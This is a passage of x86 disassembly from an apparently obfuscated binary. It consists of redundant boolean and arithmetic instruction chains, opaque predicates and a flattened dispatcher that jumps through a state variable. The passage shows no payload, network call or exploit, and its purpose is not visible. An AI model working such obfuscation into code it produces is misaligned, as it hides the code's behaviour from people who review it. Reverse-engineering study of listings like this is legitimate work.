and cl, 0
mov ah, 1
xor ah, 0
mov ch, dh
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
xor ch, 1
and ch, 0
mov ah, 1
xor ah, 0
mov bl, ah
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or ch, bl
or dl, ah
xor ch, dl
mov dl, dh
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or dl, ch
or ah, 1
xor dl, 0xff
and dl, ah
mov ch, cl
and ch, dl
xor cl, dl
or ch, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or dl, cl
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov bl, 1
xor bl, 1
and bl, 1
mov cl, 1
xor cl, 1
and cl, 1
or bl, cl
mov cl, bl
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
xor bh, 0xff
mov cl, 1
xor cl, 1
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov al, 1
xor al, 1
xor bl, 0xff
mov cl, 1
xor cl, 0
or al, bl
or cl, 0
xor al, 0xff
and al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov byte [ebp - 0x5ce], cl
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
and bh, ah
mov byte [ebp - 0x5d0], bh
mov bh, bl
and bh, 0
and al, ah
mov byte [ebp - 0x5cf], al
mov al, byte [ebp - 0x5d0]
or cl, al
mov al, byte [ebp - 0x5cf]
or bh, al
mov al, byte [ebp - 0x5ce]
xor cl, bh
or dl, bl
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
xor cl, 0xff
and al, cl
or ah, al
mov dl, 1
xor dl, 0
and dl, 0
mov cl, 1
xor cl, 0
mov bl, cl
and bl, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, bl
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
xor dl, 0xff
mov al, 1
xor al, 0
or cl, dl
or al, 0
xor cl, 0xff
and cl, al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
mov al, 1
xor al, 0
xor bl, 0xff
mov dl, 1
xor dl, 0
or al, bl
or dl, 0
xor al, 0xff
and al, dl
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x5cc], bh
mov bl, al
xor bl, 0xff
mov dl, 1
xor dl, 0
and bh, 0
mov byte [ebp - 0x5cd], bh
and cl, dl
mov bh, bl
and bh, 0
and al, dl
mov byte [ebp - 0x5cb], al
mov al, byte [ebp - 0x5cd]
or al, cl
mov cl, byte [ebp - 0x5cc]
mov byte [ebp - 0x5ca], al
mov al, byte [ebp - 0x5cb]
or bh, al
mov al, byte [ebp - 0x5ca]
xor al, bh
or cl, bl
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov byte [ebp - 0x595], al
mov al, ch
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
mov bl, ch
and bl, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, bl
or cl, dl
xor al, cl
mov byte [ebp - 0x5c9], al
mov cl, 1
xor cl, 0
and cl, 0
mov dl, 1
xor dl, 0
mov bl, dl
and bl, 0
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, bl
or al, dl
xor cl, al
mov dl, 1
xor dl, 1
and dl, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 1
mov bl, 1
xor bl, 1
and bl, 0
and bh, 1
or dl, al
mov al, byte [ebp - 0x5c9]
or bl, bh
xor dl, bl
mov byte [ebp - 0x5c5], dl
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x5c6], bh
mov bl, cl
xor bl, 0xff
mov dl, 1
xor dl, 0
and bh, 0
and al, dl
mov byte [ebp - 0x5c8], al
mov al, bl
and al, 0
mov byte [ebp - 0x5c7], al
mov al, byte [ebp - 0x5c8]
and cl, dl
or bh, al
mov al, byte [ebp - 0x5c7]
or al, cl
mov cl, byte [ebp - 0x5c6]
xor bh, al
mov al, byte [ebp - 0x5c5]
or cl, bl
xor cl, 0xff
or dl, 0
and cl, dl
or bh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, bh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and bh, bl
mov dl, 1
xor dl, 1
and dl, 0
and bl, 1
or al, bh
mov bh, byte [ebp - 0x595]
or dl, bl
xor al, dl
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov bl, bh
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
and bh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bl, bh
or al, cl
xor bl, al
mov cl, dh
xor cl, 0xff
and cl, 1
mov al, 1
xor al, 1
mov byte [ebp - 0x5c4], al
mov bh, dh
and bh, al
mov al, bl
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x5c3], al
mov al, byte [ebp - 0x5c4]
and bl, al
mov al, byte [ebp - 0x5c3]
or cl, bh
or al, bl
xor cl, al
xor dh, 0xff
mov al, cl
xor al, dh
and al, cl
mov byte [ebp - 0x5bc], al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov bl, ah
xor bl, 0xff
and bl, 0
mov cl, 1
xor cl, 0
mov al, ah
and al, cl
mov dh, bh
xor dh, 0xff
and dh, 0
and bh, cl
mov cl, byte [ebp - 0x5c1]
or bl, al
mov al, byte [ebp - 0x595]
or dh, bh
xor bl, dh
mov bh, ah
xor bh, 0xff
mov dh, bl
xor dh, bh
and dh, bl
mov bh, al
xor bh, 0xff
and bh, 1
mov bl, 1
xor bl, 1
and al, bl
or bh, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0x5c2], al
mov al, 1
xor al, 0
and cl, al
mov bl, bh
xor bl, 0xff
and bl, 0
and bh, al
mov al, byte [ebp - 0x5c2]
or al, cl
mov cl, byte [ebp - 0x5c1]
or bl, bh
xor al, bl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, dl
xor al, 0xff
and al, 1
mov cl, 1
xor cl, 1
mov bh, dl
and bh, cl
mov cl, byte [ebp - 0x5bc]
or al, bh
mov byte [ebp - 0x5a3], al
mov al, cl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and cl, bh
or al, cl
mov byte [ebp - 0x5a4], al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
mov cl, al
and cl, 0
mov byte [ebp - 0x5c0], cl
mov cl, 1
xor cl, 1
and cl, 0xff
and al, 1
mov byte [ebp - 0x5bf], al
mov al, byte [ebp - 0x5c0]
or bh, al
mov al, byte [ebp - 0x5bf]
or cl, al
mov al, byte [ebp - 0x5a3]
xor bh, cl
xor al, 0xff
mov byte [ebp - 0x5be], al
mov cl, 1
xor cl, 0
mov al, 1
xor al, 0
mov byte [ebp - 0x5bd], al
mov al, byte [ebp - 0x5be]
or al, cl
mov cl, byte [ebp - 0x5bd]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x5bc]
mov byte [ebp - 0x5b9], al
xor dl, 0xff
mov al, bh
xor al, 0xff
mov byte [ebp - 0x5bb], al
mov al, 1
xor al, 0
mov byte [ebp - 0x5ba], al
mov al, byte [ebp - 0x5bb]
or dl, al
mov al, byte [ebp - 0x5ba]
or al, 0
xor dl, 0xff
and dl, al
mov al, byte [ebp - 0x5a4]
mov byte [ebp - 0x5b8], dl
mov dl, 1
xor dl, 0
xor al, dl
mov dl, byte [ebp - 0x5a4]
and al, dl
mov byte [ebp - 0x5b2], al
mov al, bh
xor al, 0xff
mov dl, cl
xor dl, al
mov al, byte [ebp - 0x5b9]
and dl, cl
mov cl, byte [ebp - 0x5b8]
mov byte [ebp - 0x5b1], dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x5b4], dl
xor cl, 0xff
mov byte [ebp - 0x5b5], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x5b3], cl
and dl, 0xff
and al, cl
mov cl, byte [ebp - 0x5b8]
mov byte [ebp - 0x5b7], al
mov al, byte [ebp - 0x5b5]
and al, 0xff
mov byte [ebp - 0x5b6], al
mov al, byte [ebp - 0x5b3]
and cl, al
mov al, byte [ebp - 0x5b7]
or dl, al
mov al, byte [ebp - 0x5b6]
or al, cl
mov cl, byte [ebp - 0x5b5]
xor dl, al
mov al, byte [ebp - 0x5b4]
or al, cl
mov cl, byte [ebp - 0x5b3]
xor al, 0xff
or cl, 1
and al, cl
mov cl, byte [ebp - 0x5b2]
or dl, al
mov al, byte [ebp - 0x5b1]
mov byte [ebp - 0x5a9], dl
mov dl, cl
xor dl, 0xff
xor al, 0xff
mov byte [ebp - 0x5ab], al
mov al, 1
xor al, 1
mov byte [ebp - 0x5aa], al
mov al, dl
and al, 0xff
mov byte [ebp - 0x5af], al
mov al, byte [ebp - 0x5aa]
and cl, al
mov al, byte [ebp - 0x5b1]
mov byte [ebp - 0x5b0], cl
mov cl, byte [ebp - 0x5ab]
and cl, 0xff
mov byte [ebp - 0x5ad], cl
mov cl, byte [ebp - 0x5aa]
and al, cl
mov cl, byte [ebp - 0x5b0]
mov byte [ebp - 0x5ae], al
mov al, byte [ebp - 0x5af]
or al, cl
mov cl, byte [ebp - 0x5ae]
mov byte [ebp - 0x5ac], al
mov al, byte [ebp - 0x5ad]
or al, cl
mov cl, byte [ebp - 0x5ac]
xor cl, al
mov al, byte [ebp - 0x5ab]
or dl, al
mov al, byte [ebp - 0x5aa]
xor dl, 0xff
or al, 1
and dl, al
mov al, byte [ebp - 0x5a9]
or cl, dl
mov byte [ebp - 0x5a8], cl
mov dl, al
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov byte [ebp - 0x5a7], cl
and al, cl
mov cl, byte [ebp - 0x5a8]
mov byte [ebp - 0x5a6], al
mov al, cl
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x5a5], al
mov al, byte [ebp - 0x5a7]
and cl, al
mov al, byte [ebp - 0x5a6]
or dl, al
mov al, byte [ebp - 0x5a5]
or al, cl
mov cl, byte [ebp - 0x5a4]
xor dl, al
mov al, byte [ebp - 0x5a3]
mov byte [ebp - 0x5a2], dl
mov dl, al
and dl, cl
xor al, cl
mov cl, byte [ebp - 0x5a2]
or dl, al
mov al, dl
xor al, 0xff
and al, 1
mov byte [ebp - 0x5a1], al
mov al, 1
xor al, 1
and dl, al
mov al, byte [ebp - 0x5a1]
or al, dl
mov dl, bh
and dl, 0
xor bh, 0
or dl, bh
xor dl, 0xff
mov bh, al
xor bh, dl
and bh, al
mov byte [ebp - 0x5a0], bh
mov al, cl
xor al, 0xff
mov byte [ebp - 0x59b], al
xor bh, 0xff
mov dl, 1
xor dl, 1
and al, 0xff
mov byte [ebp - 0x59f], al
and cl, dl
mov al, bh
and al, 0xff
mov byte [ebp - 0x59e], al
mov al, byte [ebp - 0x5a0]
and al, dl
mov byte [ebp - 0x59d], al
mov al, byte [ebp - 0x59f]
or al, cl
mov cl, byte [ebp - 0x59e]
mov byte [ebp - 0x59c], al
mov al, byte [ebp - 0x59d]
or cl, al
mov al, byte [ebp - 0x59c]
xor al, cl
mov cl, byte [ebp - 0x59b]
or cl, bh
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov cl, dh
xor cl, 0xff
mov bh, bl
xor bh, 0xff
mov dl, 1
xor dl, 1
or cl, bh
or dl, 1
xor cl, 0xff
and cl, dl
mov bh, dh
xor bh, 0xff
mov dl, bl
and dl, bh
xor bl, 0xff
and dh, bl
or dl, dh
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
mov bh, al
and bh, bl
mov dl, 1
xor dl, 1
and dl, 0xff
and bl, 1
or cl, bh
or dl, bl
xor cl, dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x59a], cl
mov bl, 1
xor bl, 1
and bl, 1
mov dl, 1
xor dl, 1
mov bh, dl
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bl, bh
or cl, dl
xor bl, cl
mov dl, bl
xor dl, 0xff
mov cl, al
xor cl, dl
and cl, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
mov al, dh
and al, bh
or dl, al
xor dl, 0xff
mov al, 1
xor al, 1
mov bh, 1
xor bh, 1
or dl, al
mov al, byte [ebp - 0x59a]
or bh, 1
xor dl, 0xff
and dl, bh
mov byte [ebp - 0x596], dl
xor bl, 0xff
mov dl, dh
xor dl, bl
and dl, dh
mov byte [ebp - 0x597], dl
mov dl, al
xor dl, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dh, dl
and dh, 0
and al, bl
mov byte [ebp - 0x599], al
mov al, bh
and al, 0
mov byte [ebp - 0x598], al
mov al, byte [ebp - 0x599]
and cl, bl
or dh, al
mov al, byte [ebp - 0x598]
or al, cl
mov cl, byte [ebp - 0x597]
xor dh, al
mov al, byte [ebp - 0x596]
or dl, bh
mov bh, byte [ebp - 0x595]
xor dl, 0xff
or bl, 0
and dl, bl
or dh, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, dh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and dh, bl
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, bl
or al, dh
or cl, dl
xor al, cl
mov byte [ebp - 0x588], al
mov cl, ah
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov bl, dh
xor bl, 0xff
and bl, 0
mov cl, 1
xor cl, 0
mov dl, dh
and dl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, dl
or al, cl
xor bl, al
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov ch, 1
xor ch, 0
and ch, 0
mov cl, 1
xor cl, 0
mov ah, cl
and ah, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, ah
or al, cl
xor ch, al
mov dh, bh
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov ah, bh
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, ah
or al, cl
xor dh, al
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
mov al, ch
xor al, 0xff
mov bl, 1
xor bl, 0
mov cl, 1
xor cl, 0
or al, bl
or cl, 0
xor al, 0xff
and al, cl
mov cl, ah
xor cl, 0xff
xor cl, 0
and cl, 0
mov byte [ebp - 0x594], cl
mov bl, 1
xor bl, 0
mov cl, dh
xor cl, bl
and cl, dh
mov byte [ebp - 0x58f], cl
mov cl, ah
xor cl, 0xff
mov bl, bh
xor bl, cl
mov cl, byte [ebp - 0x594]
and bl, bh
mov byte [ebp - 0x58e], bl
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x590], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x591], cl
mov bl, bh
and bl, 0xff
and al, cl
mov cl, byte [ebp - 0x594]
mov byte [ebp - 0x593], al
mov al, byte [ebp - 0x590]
and al, 0xff
mov byte [ebp - 0x592], al
mov al, byte [ebp - 0x591]
and cl, al
mov al, byte [ebp - 0x593]
or bl, al
mov al, byte [ebp - 0x592]
or al, cl
mov cl, byte [ebp - 0x591]
xor bl, al
mov al, byte [ebp - 0x590]
or bh, al
mov al, byte [ebp - 0x58f]
xor bh, 0xff
or cl, 1
and bh, cl
mov cl, byte [ebp - 0x58e]
or bl, bh
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x58a], bh
xor cl, 0xff
mov byte [ebp - 0x58b], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x589], cl
and bh, 0xff
and al, cl
mov cl, byte [ebp - 0x58e]
mov byte [ebp - 0x58d], al
mov al, byte [ebp - 0x58b]
and al, 0xff
mov byte [ebp - 0x58c], al
mov al, byte [ebp - 0x589]
and cl, al
mov al, byte [ebp - 0x58d]
or bh, al
mov al, byte [ebp - 0x58c]
or al, cl
mov cl, byte [ebp - 0x58b]
xor bh, al
mov al, byte [ebp - 0x58a]
or al, cl
mov cl, byte [ebp - 0x589]
xor al, 0xff
or cl, 1
and al, cl
or bh, al
mov al, bl
xor al, 0xff
mov cl, bh
and cl, al
mov al, byte [ebp - 0x588]
xor bh, 0xff
and bl, bh
or cl, bl
mov bh, ch
and bh, dh
xor ch, dh
or bh, ch
mov ch, bh
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or ch, bh
or dh, bl
xor ch, dh
mov dh, ah
and dh, 0
xor ah, 0
or dh, ah
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
mov bl, dl
xor bl, 0xff
and bl, 0
mov dh, 1
xor dh, 0
mov ch, dl
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, dh
or bl, ch
or cl, ah
xor bl, cl
xor bl, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bl, dl
or cl, 1
xor bl, 0xff
and bl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov ch, al
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
mov byte [ebp - 0x587], cl
mov ah, bl
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
mov dh, bl
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or ah, dh
or dl, ch
xor ah, dl
mov dl, 1
xor dl, 0
and dl, 1
mov ch, 1
xor ch, 1
and ch, 0
or dl, ch
mov dh, 1
xor dh, 0
mov ch, cl
xor ch, dh
and ch, cl
mov cl, dl
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov al, 1
xor al, 0
mov cl, ah
xor cl, al
and cl, ah
xor bl, 0xff
mov al, dl
xor al, 0xff
mov dh, 1
xor dh, 0
or bl, al
mov al, byte [ebp - 0x587]
or dh, 0
xor bl, 0xff
and bl, dh
mov dh, ch
and dh, bh
xor ch, bh
or dh, ch
mov ch, cl
and ch, bl
xor cl, bl
or ch, cl
mov bl, dh
xor bl, 0xff
and bl, 1
mov bh, 1
xor bh, 1
and dh, bh
mov cl, ch
xor cl, 0xff
and cl, 0xff
and ch, bh
or bl, dh
or cl, ch
xor bl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov cl, dl
and cl, 0
xor dl, 0
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x37f064de
mov ecx, 0x382d139e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov eax, dword [ebp - 0x198]
mov edx, dword [eax]
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
xor eax, eax
sub eax, 0x8a7ac514
add eax, 0
sub eax, 0x394e2170
sub eax, edx
add eax, 0x394e2170
sub eax, 0x32b88b93
add eax, 0x8a7ac514
add eax, 0x32b88b93
xor edx, edx
sub edx, ecx
add edx, 0
xor ecx, ecx
sub ecx, edx
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, eax
add ecx, 0
xor eax, eax
sub eax, edx
add eax, 0
add ecx, 0xd55bf543
add ecx, eax
sub ecx, 0xd55bf543
xor eax, eax
sub eax, 0x7f4db522
sub eax, ecx
add eax, 0x7f4db522
xor ecx, ecx
sub ecx, 0xf14b17d9
add ecx, 0
add ecx, 0x4de821b4
sub ecx, eax
sub ecx, 0x4de821b4
sub ecx, 0xba77361e
add ecx, 0xf14b17d9
add ecx, 0xba77361e
mov eax, dword [ebp - 0x184]
mov dword [eax], ecx
mov eax, dword [ebp - 0x180]
mov dword [eax], 0
mov dword [ebp - 0x1c0], 0x98549135
jmp 0x4b1f8e
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0x19c]
add eax, 4
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x1c0], 0x813908c4
jmp 0x4b1f8e
mov ecx, dword [0x63d5c4]
mov eax, dword [0x63d5c0]
mov edx, ecx
add edx, 0xf099be3f
sub edx, 0xde029ef1
sub edx, 0xf099be3f
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xfb68299d
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0xde029ef1
sub edx, esi
xor esi, esi
sub esi, 0xaa174e5a
add edx, esi
sub edx, 0xec4cc94
sub edx, 1
add edx, 0xec4cc94
xor esi, esi
sub esi, 0xaa174e5a
sub edx, esi
sub edx, 0x915a4acd
sub edx, 0x6e8d3f88
add edx, 0x915a4acd
sub edx, 0x5653dace
sub edx, 0xfb68299d
add edx, 0x5653dace
add edx, 0x62da1983
add edx, 0x6e8d3f88
sub edx, 0x62da1983
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl cl
mov bh, dl
xor bh, 0xff
and bh, 0
mov ah, 1
xor ah, 0
mov ch, dl
and ch, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or bh, ch
or al, ah
xor bh, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov ah, cl
and ah, ch
or al, ah
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
and ch, 1
or ah, ch
mov byte [ebp - 0x621], ah
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ch, ah
and ch, 0xff
and bh, dh
mov byte [ebp - 0x623], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x622], al
mov al, byte [ebp - 0x623]
or ch, al
mov al, byte [ebp - 0x622]
or bh, al
mov al, byte [ebp - 0x621]
xor ch, bh
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or ch, ah
mov ah, 1
xor ah, 1
mov byte [ebp - 0x61e], ah
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
and ah, 0xff
mov bh, dh
and bh, 1
mov byte [ebp - 0x620], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x61f], al
mov al, byte [ebp - 0x620]
or ah, al
mov al, byte [ebp - 0x61f]
or bh, al
mov al, byte [ebp - 0x61e]
xor ah, bh
or al, bl
xor al, 0xff
or dh, 1
and al, dh
or ah, al
mov al, ch
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and ch, dh
or al, ch
xor ah, 0xff
mov ch, al
xor ch, ah
and ch, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
mov al, dl
and al, dh
or ah, al
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov ah, cl
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and cl, dh
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, ch
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
mov dh, ch
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, dh
or cl, dl
xor al, cl
mov byte [ebp - 0x619], al
mov bh, ah
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov dh, ah
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bh, dh
or cl, dl
xor bh, cl
mov dl, 1
xor dl, 1
and dl, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or dl, bl
or cl, dh
xor dl, cl
xor al, 0xff
mov dh, 1
xor dh, 1
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
mov dh, dl
xor dh, 0xff
mov cl, ch
xor cl, dh
and cl, ch
mov dh, 1
xor dh, 1
mov ch, bh
xor ch, dh
and ch, bh
mov byte [ebp - 0x61b], ch
mov ch, dl
xor ch, 0xff
mov dh, ah
xor dh, ch
and dh, ah
mov ch, al
xor ch, 0xff
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x61a], ah
mov bl, 1
xor bl, 0
mov ah, ch
and ah, 0
and al, bl
mov byte [ebp - 0x61d], al
mov al, byte [ebp - 0x61a]
and al, 0
mov byte [ebp - 0x61c], al
mov al, byte [ebp - 0x61d]
and cl, bl
or ah, al
mov al, byte [ebp - 0x61c]
or al, cl
mov cl, byte [ebp - 0x61b]
xor ah, al
mov al, byte [ebp - 0x61a]
or ch, al
mov al, byte [ebp - 0x619]
xor ch, 0xff
or bl, 0
and ch, bl
or ah, ch
mov ch, cl
and ch, dh
xor cl, dh
or ch, cl
mov dh, ah
xor dh, 0xff
mov cl, ch
and cl, dh
xor ch, 0xff
and ah, ch
or cl, ah
mov byte [ebp - 0x618], cl
mov cl, al
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov dh, cl
and dh, 0xff
and al, ah
mov bl, ch
and bl, 0xff
and bh, ah
or dh, al
mov al, byte [ebp - 0x618]
or bl, bh
xor dh, bl
or cl, ch
xor cl, 0xff
or ah, 1
and cl, ah
or dh, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xceeb7fca
mov ecx, 0xed9eee1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov ecx, dword [0x63d5c4]
mov eax, dword [0x63d5c0]
mov edx, 0x3892c7b1
add edx, 0
add edx, 0x163407ba
sub edx, 0x3892c7b1
xor esi, esi
sub esi, 1
add edx, esi
sub edx, 0x6174bc6a
sub edx, 0x163407ba
add edx, 0x6174bc6a
xor esi, esi
sub esi, ecx
add esi, 0
mov edi, 0x4c3b8c7e
add edi, 0
sub edi, edx
sub edi, 0x4c3b8c7e
xor edx, edx
sub edx, edi
sub esi, edx
xor edx, edx
sub edx, 0x4b69b846
sub edx, esi
add edx, 0x4b69b846
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl bh
mov ah, cl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or ah, al
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov dh, cl
xor dh, 0xff
mov dl, ch
xor dl, 0xff
mov al, 1
xor al, 1
or dh, dl
or al, 1
xor dh, 0xff
and dh, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov bl, 1
xor bl, 1
mov al, dl
xor al, bl
and al, dl
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov dl, ah
and dl, dh
xor ah, dh
or dl, ah
mov ah, al
and ah, ch
xor al, ch
or ah, al
mov ch, dl
xor ch, 0xff
mov al, ah
and al, ch
xor ah, 0xff
and dl, ah
or al, dl
mov byte [ebp - 0x674], al
mov al, bh
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dl, bh
and dl, ah
or al, dl
xor al, 0xff
xor al, 1
and al, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov dl, 1
xor dl, 1
and dl, 1
or ch, dl
mov dl, bh
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or dl, ch
or ah, 1
xor dl, 0xff
